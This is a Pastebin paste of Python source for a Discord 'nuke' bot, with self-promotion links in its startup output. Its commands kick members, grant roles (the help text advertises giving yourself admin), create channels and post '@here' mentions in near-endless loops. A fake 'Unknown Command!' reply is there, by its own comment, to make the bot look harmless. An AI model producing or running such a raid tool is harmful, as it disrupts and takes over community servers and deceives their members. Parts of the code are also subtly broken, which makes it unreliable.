Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import discord
- from discord.ext.commands import bot
- from discord.ext import commands
- import random
- import asyncio
- import time
- from threading import Thread
- from random import randint
- import datetime
- import os
- import aiohttp
- import sys
- import traceback
- import json
- from discord.utils import get
- bot = commands.Bot(command_prefix='!')
- @bot.event
- async def on_ready():
- print("BOT ACTIVATED!")
- print("Join my discord! https://discord.gg/tb6pa")
- print("Subscribe me! https://www.youtube.com/c/AhmadWahelsa?sub_confirmation=1")
- print("Bot name: " + bot.user.name)
- print("commands :")
- print("!k : !k (user)")
- print("!b : !b (user)")
- print("!s : spam on a channel")
- print("!r : !r (role name) u can use this to give yourself admin")
- print("!c : channel spam")
- print('discord version: ' + discord.__version__)
- @bot.command(pass_context = True)
- async def k(ctx, member : discord.Member, *, reason=None):
- await member.kick(reason=reason)
- await ctx.send(f"Kicked {member}\nReason: {reason}")
- @bot.command()
- async def role(ctx, member: discord.Member, role: discord.Role):
- if role in member.roles:
- await member.remove_roles(role)
- await ctx.channel.send('your text here')
- else:
- await member.add_roles(role)
- await ctx.channel.send('text')
- @bot.command(pass_context=True)
- async def c(ctx):
- await ctx.send("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
- time.sleep(2)
- for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
- await ctx.guild.create_text_channel('weeeeeee', type=discord.ChannelType.text) #you can change the channel name by replacing 'nuked' to any name@bot.command(pass_context=True)
- @bot.command(pass_context=True)
- async def n(ctx):
- for textchannel in ctx.guild.text_channels:
- await ctx.send('!s')
- @bot.command(pass_context=True)
- async def s(ctx):
- await ctx.send("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
- time.sleep(2)
- for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
- await ctx.send("@here") #text 1 goes here
- await ctx.send("@here") #text 2 goes here
- bot.run ("bot token") #your bot token (please dont use your discord account token otherwise your account will get banned maybe)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement